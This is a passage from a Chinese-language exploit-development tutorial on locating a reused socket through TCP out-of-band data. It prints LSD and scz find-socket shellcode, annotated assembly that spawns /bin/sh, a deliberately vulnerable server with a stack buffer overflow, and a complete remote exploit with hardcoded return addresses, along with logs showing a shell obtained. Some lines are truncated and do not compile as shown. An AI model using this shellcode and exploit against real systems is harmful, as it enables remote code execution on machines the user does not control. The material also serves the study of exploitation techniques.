利用OOB查找socket 下

客户端:
[bkbll@mobile ownprog]$ ./clientfd
Connecting ....ok
send OOB.......ok
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
同样可行.
[5] LSD和 scz算法实现
A. LSD C语言算法:
/* From asmcode-1.0.2.pdf downding from lsd-pl.net */
j=sizeof(sockaddr_in);
for(i=256;i>=0;i--){
if(getpeername(sck,&adr,&j)==-1) continue; //这里有一个问题,sck应该是i
if(*((unsigned short)&(adr[2]))==htons(port)) break;
}
for(j=2;j>=0;j--) dup2(j,i);
B. LSD的汇编算法和shllcode
(注意:这里仅仅是find sckcode,并没有dup2和exece等操作):
char findsckcode[]= /* 72 bytes */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xe7" /* movl %esp,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x07,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne */
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x02" /* je */
"\xe2\xe0" /* loop */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop */

C. SCZ的shellcode:
From: http://bbs.nsfocus.net/index.php?act=SE&;f=2&t=
144419&p=174118&hl=shellcode
unsigned char remote_shellcode[] =
"\xeb\x57\x5f\x31\xc0\x40\x89\x47"
"\x08\x31\xd2\x8d\x4f\x08\x31\xdb"
"\xb3\x0d\x04\x42\xcd\x80\x31\xc9"
"\xb5\x04\x89\xcb\x51\x31\xc9\xb1"
"\x03\x31\xd2\x31\xc0\xb0\x37\xcd"
"\x80\x89\xc6\x89\xc2\x80\xce\x08"
"\x41\x31\xc0\xb0\x37\xcd\x80\x89"
"\xca\x8d\x4f\x08\x89\xd0\x48\xcd"
"\x80\x89\xd1\x89\xf2\x31\xc0\xb0"
"\x37\xcd\x80\x59\x81\x7f\x08\x4e"
"\x53\x46\x4f\x74\x06\xe2\xc3\xeb"
"\xbd\xeb\x33\x31\xc9\x31\xc0\xb0"
"\x3f\xcd\x80\x41\x31\xc0\xb0\x3f"
"\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x89\xfb\x89\x5f\x08\x31\xc0"
"\x89\x47\x0c\x88\x47\x07\x31\xd2"
"\x8d\x4f\x08\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\x6f"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68;
D. 反汇编得到C算法如下:
int i,k,j;
char buffer[5];
signal(SIGUSR2,SIG_IGN,NULL);
while(1)
{
for(i=4;i>0;i--)
{
j=fcntl(i,GETFL,NULL);
k=j;
j|=0x08;
fcntl(i,SETFL,j);
read(i,buffer,4);
fcntl(i,SETFL,k);
if(strncmp(buffer,"NSFO",4)==0) break;
}
if(i>0) break;
}
dup2(i,0);
dup2(i,1);
dup2(i,2);
execl("/bin/sh","/bin/sh",NULL);
exit(0);
[5] 附录程序
A. 上面利用的client程序:
/* use OOB to identify itself the client socket */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BUF 1024
main()
{
int port=5555; // connect port
char server[]="192.168.8.114";
int sockfd,on=1;
struct sockaddr_in client;
struct hostent *host;
int i,k,count;
int data1=0,data2=0;
fd_set fds;
char buffer[BUF];

memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the client struct */
client.sin_port=htons(port);
client.sin_family=AF_INET;
host=gethostbyname(server);
client.sin_addr=*((struct in_addr *)host->h_addr);

printf("Connecting ....");
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&client,sizeof(struct sockaddr))<0)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");
data1='I';
printf("send OOB.......");
fflush(stdout);
if(send(sockfd,&data1,1,MSG_OOB)<1)
{
perror("error");
close(sockfd);
return(0);
}

printf("ok\r\n");
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);

if (select(sockfd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, BUF);
if (count <= 0) break;
if (write(sockfd, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
if (FD_ISSET(sockfd, &fds))
{
count = read(sockfd, buffer, BUF);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}

}
close(sockfd);
}
B. OOB 程序的汇编注释
/* find code asm */
/* sleep(1)*/
.text
.globl _start
_start:
xorl %eax,%eax
pushl %eax
incl %eax
pushl %eax
movl %esp,%ebx
xorl %ecx,%ecx
movb $0xa2,%al
int $0x80
movb $0x09,%cl
movl %ecx,%eax /* <--loop to here */
subl $0x0a,%eax /* eax=edi-10 */
notl %eax /* eax=~eax */
incl %eax /* eax+1 */
movl %eax,%edi
xorl %eax,%eax
incl %eax
decl %esp
movl %esp,%edx /* 存放OOB 数据的地方 */
pushl %eax /* 1 */
pushl %eax /* 1 */
pushl %edx /* &data*/
pushl %edi /* 判断的句柄 */
pushl %ecx /* ecx 入栈 */
leal 4(%esp),%ecx /* socketcall 的arg*/
xorl %ebx,%ebx
movb $0x0a,%bl /* 调用recv */
movb $0x66,%al /* socketcall 调用 */
int $0x80
popl %ecx /* ecx 出栈 */
cmpl $0x01,%eax
jne .+0x07 /* 不相等直接跳转到loop */
/* 相等判断是否位'I' */
cmpb $0x49,(%edx)
je .+0xb /* 相等则直接跳转到dup2这里 */
loop .-0x2c /* 循环 */
xorl %eax,%eax
incl %eax
movl %eax,%ebx
int $0x80 /* 没有找到,退出 */
/* 这里开始dup2 了 */
movl %edi,%ebx
movb $0x03,%cl
movb $0x3f,%al
decl %ecx
int $0x80
incl %ecx
loop .-0x06
/* 开始execve("/bin//sh",argv,NULL) */
pushl %ecx /* argv的NULL */
pushl $0x68732f6e /* n/sh */
pushl $0x69622f2f /* //bi */
movl %esp,%ebx
pushl %ecx
pushl $0x706c692d /* -ilp */
movl %esp,%edx
pushl %ecx
pushl %edx
pushl %ebx
movl %esp,%ecx /* 构造argv */
xorl %edx,%edx /* argenv=NULL */
xorl %eax,%eax
movb $0x0b,%al /* execve 调用 */
int $0x80
C. 一个漏洞程序和用了这个OOB shellcode的exploit
/* vuln.c */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int ptdata(char *buff);
main()
{
int port=5555; // bind port
int sockfd,clifd,on=1;
struct sockaddr_in server,client;
int i,k,flag;
int data=0;
char buffer[1024];

memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the server struct */
server.sin_port=htons(port);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);
/* set socket can bind again */
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");
fflush(stdout);
if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)
{
perror("Bind");
close(sockfd);
return(0);
}
listen(sockfd,1);
printf("ok\r\n");
while(1)
{
i=sizeof(client);
clifd=accept(sockfd,(struct sockaddr *)&client,&i);
printf("==============================================\r\n");
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));
sleep(1);
read(clifd,buffer,1024);
printf("From client:");
fflush(stdout);
ptdata(buffer);
close(clifd);
printf("close client socket\r\n");
}

}
int ptdata(char *buff)
{
char buf[20];
sprintf(buf,"%s",buff);
printf("%s\r\n",buf);

}
/* test exp1 */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int exec_sh(int sockfd);

char shellcode[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\x50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\x69\x6c\x70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";
#define RETADDR 0xbffff69c
#define SHELLADDR 0xbffff6b0
#define BUF 1024
main()
{
int port=5555; // connect port
char server[]="192.168.8.114";
int sockfd,on=1;
struct sockaddr_in client;
struct hostent *host;
int a,i=20,k=0x9c-0x70-20,b=20; //k is the offset
int data1=0,data2=0;
char buffer[1024];
char data;
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the client struct */
client.sin_port=htons(port);
client.sin_family=AF_INET;
host=gethostbyname(server);
client.sin_addr=*((struct in_addr *)host->h_addr);
printf("shellcode length:%d, shellcode addr:%p\r\n",strlen(shellcode),SHELLADDR);
printf("Connecting ....");
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&client,sizeof(struct sockaddr))<0)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");
//data1='I';
for(a=0;a/* use shelladdr to cover function return address */
buffer[a++]=SHELLADDR & 0xff;
buffer[a++]=(SHELLADDR >>8) & 0xff;
buffer[a++]=(SHELLADDR >>16) & 0xff;
buffer[a++]=(SHELLADDR >>24) & 0xff;
/* fill NOP */
b=b+a;
for(a;a/* fill shellcode */
strncpy(buffer+a,shellcode,strlen(shellcode));
showmem((unsigned int)buffer,strlen(buffer));
printf("send data.......");
fflush(stdout);
if(write(sockfd,buffer,strlen(buffer))<1)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");

data='I';
printf("send OOB.......");
fflush(stdout);
if(send(sockfd,&data,1,1)<1)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");
exec_sh(sockfd);
close(sockfd);
}

int exec_sh(int sockfd)
{
char buffer[BUF];
fd_set fds;
int count;

while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);

if (select(sockfd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, BUF);
if (count <= 0) break;
if (write(sockfd, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
if (FD_ISSET(sockfd, &fds))
{
count = read(sockfd, buffer, BUF);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}

}
}
利用:
[bkbll@mobile testc]$ ./vuln
Listening ....ok
==============================================
accept a client from 192.168.8.114
client fd=4

From client:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA蚌�繍悙悙悙悙悙悙悙悙悙1繮@P夈1砂⑼€? 壢冭
餍@壡1繞L夆PPRWQ峀$1鄢
癴蛝Y凐u€:It 庖1繞壝蛝夳卑?I蛝A怿Qhn/shh//bi夈Qh-ilp夆QRS夅1?腊
蛝
PuTTY
客户端:
[bkbll@mobile testc]$ ./exp
shellcode length:114, shellcode addr:0xbffff6b0
Connecting ....ok
send data.......ok
send OOB.......ok
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$

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